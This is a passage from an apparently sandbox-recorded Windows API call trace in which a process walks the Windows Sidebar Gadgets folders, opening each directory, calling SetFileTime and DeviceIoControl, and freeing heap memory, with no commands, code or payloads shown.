cAlternateFileName="")) returned 1 [0250.171] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0250.175] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets" (normalized: "c:\\program files\\windows sidebar\\gadgets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.175] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0250.175] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0250.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.175] NtClose (Handle=0x1b8) returned 0x0 [0250.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.175] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5e0 [0250.177] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.177] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar.Gadget", cAlternateFileName="")) returned 1 [0250.177] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clock.Gadget", cAlternateFileName="")) returned 1 [0250.177] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPU.Gadget", cAlternateFileName="")) returned 1 [0250.177] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Currency.Gadget", cAlternateFileName="")) returned 1 [0250.177] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaCenter.Gadget", cAlternateFileName="")) returned 1 [0250.177] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturePuzzle.Gadget", cAlternateFileName="")) returned 1 [0250.177] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.Gadget", cAlternateFileName="")) returned 1 [0250.177] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlideShow.Gadget", cAlternateFileName="")) returned 1 [0250.177] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="")) returned 1 [0250.177] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="")) returned 0 [0250.177] GetLastError () returned 0x12 [0250.177] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0250.177] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.177] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.177] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar.Gadget", cAlternateFileName="")) returned 1 [0250.179] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.180] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0250.180] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0250.180] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.180] NtClose (Handle=0x1b8) returned 0x0 [0250.180] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657b18) returned 1 [0250.180] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0250.180] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.180] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x27ed4187, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a74, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0250.180] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.180] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x28135767, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd13, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0250.180] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0250.180] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842b7a8e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842b7a8e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x284ed995, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0250.180] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842b7a8e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842b7a8e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x284ed995, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0250.180] GetLastError () returned 0x12 [0250.180] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0250.180] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.180] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.180] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x27ed4187, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a74, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0250.180] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.181] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.181] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.181] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.181] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.181] NtClose (Handle=0x1b8) returned 0x0 [0250.181] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657e48) returned 1 [0250.181] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0250.181] GetLastError () returned 0x12 [0250.181] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.182] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.182] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.182] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.182] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.182] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.182] NtClose (Handle=0x1b8) returned 0x0 [0250.182] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16912f0) returned 1 [0250.182] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0250.182] GetLastError () returned 0x12 [0250.182] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.182] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.183] GetLastError () returned 0x12 [0250.183] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16913f8) returned 1 [0250.183] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0250.183] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1691500) returned 1 [0250.183] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16912f0) returned 1 [0250.183] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0250.184] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.184] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.184] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.184] NtClose (Handle=0x1b0) returned 0x0 [0250.184] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16912f0) returned 1 [0250.184] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.184] GetLastError () returned 0x12 [0250.184] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0250.184] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0250.184] GetLastError () returned 0x12 [0250.184] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1691500) returned 1 [0250.184] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.184] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16913f8) returned 1 [0250.184] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16912f0) returned 1 [0250.184] GetLastError () returned 0x12 [0250.184] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1690ed0) returned 1 [0250.184] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.185] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1690fd8) returned 1 [0250.185] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1690dc8) returned 1 [0250.185] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0250.185] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.185] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.185] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.185] NtClose (Handle=0x170) returned 0x0 [0250.185] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657e48) returned 1 [0250.185] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.235] GetLastError () returned 0x12 [0250.236] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0250.236] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.236] GetLastError () returned 0x12 [0250.236] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1690fd8) returned 1 [0250.236] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.237] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1690ed0) returned 1 [0250.237] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1690dc8) returned 1 [0250.237] GetLastError () returned 0x12 [0250.237] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657dc0) returned 1 [0250.237] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.237] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0250.237] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657b18) returned 1 [0250.237] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0250.237] SetFileTime (hFile=0x1a8, 